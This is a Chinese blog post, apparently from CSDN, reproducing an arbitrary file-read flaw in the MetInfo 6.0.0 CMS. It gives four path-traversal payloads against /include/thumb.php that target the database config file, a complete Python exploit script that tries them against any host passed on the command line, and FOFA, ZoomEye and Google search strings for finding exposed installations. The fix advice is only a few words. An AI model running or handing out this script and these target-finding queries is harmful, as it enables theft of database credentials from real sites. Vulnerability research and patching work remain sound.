metinfo_6.0.0_file-read 漏洞复现

本文详细描述了MetInfo6.0.0版本中存在的一处文件读取漏洞,攻击者可通过访问thumb.php页面利用不同的路径尝试读取敏感文件。文章还演示了在Windows和Linux系统下的漏洞复现方法,并提供了使用FOFA和ZoomEye搜索引擎的指纹信息以及修复建议。
摘要由CSDN通过智能技术生成

metinfo_6.0.0_file-read 漏洞复现



前言

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。


漏洞复现

在这里插入图片描述

漏洞点

/include/thumb.php

登录此页面,使用bp抓包

在这里插入图片描述在这里插入图片描述

可以看出这是一个崩掉的图片

第一次尝试

/include/thumb.php?dir=..././http/..././config/config_db.php

在这里插入图片描述

第二次尝试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

在这里插入图片描述

第三次尝试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

在这里插入图片描述

第四次尝试

/include/thumb.php?dir=http\..\..\config\config_db.php

在这里插入图片描述

第四次尝试成功,发现变化在于/换成了\,因为只有 windows 系统下才能识别/``\,所以此方法在 Linux 系统下无效

Linux 系统

//exp编写
import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
                                                        - AJEST
Usage: python3 *.py http://10.4.7.130/metinfo_6.0.0
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

在这里插入图片描述

指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:“Powered by MetInfo 6.0.0” inurl:“tw”

FOFA

app=“metinfo”

ZoomEye

app:“MetInfo”
app:“MetInfo”+os:“Windows”

修复建议

  • 打补丁
  • 升级
  • 上设备
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值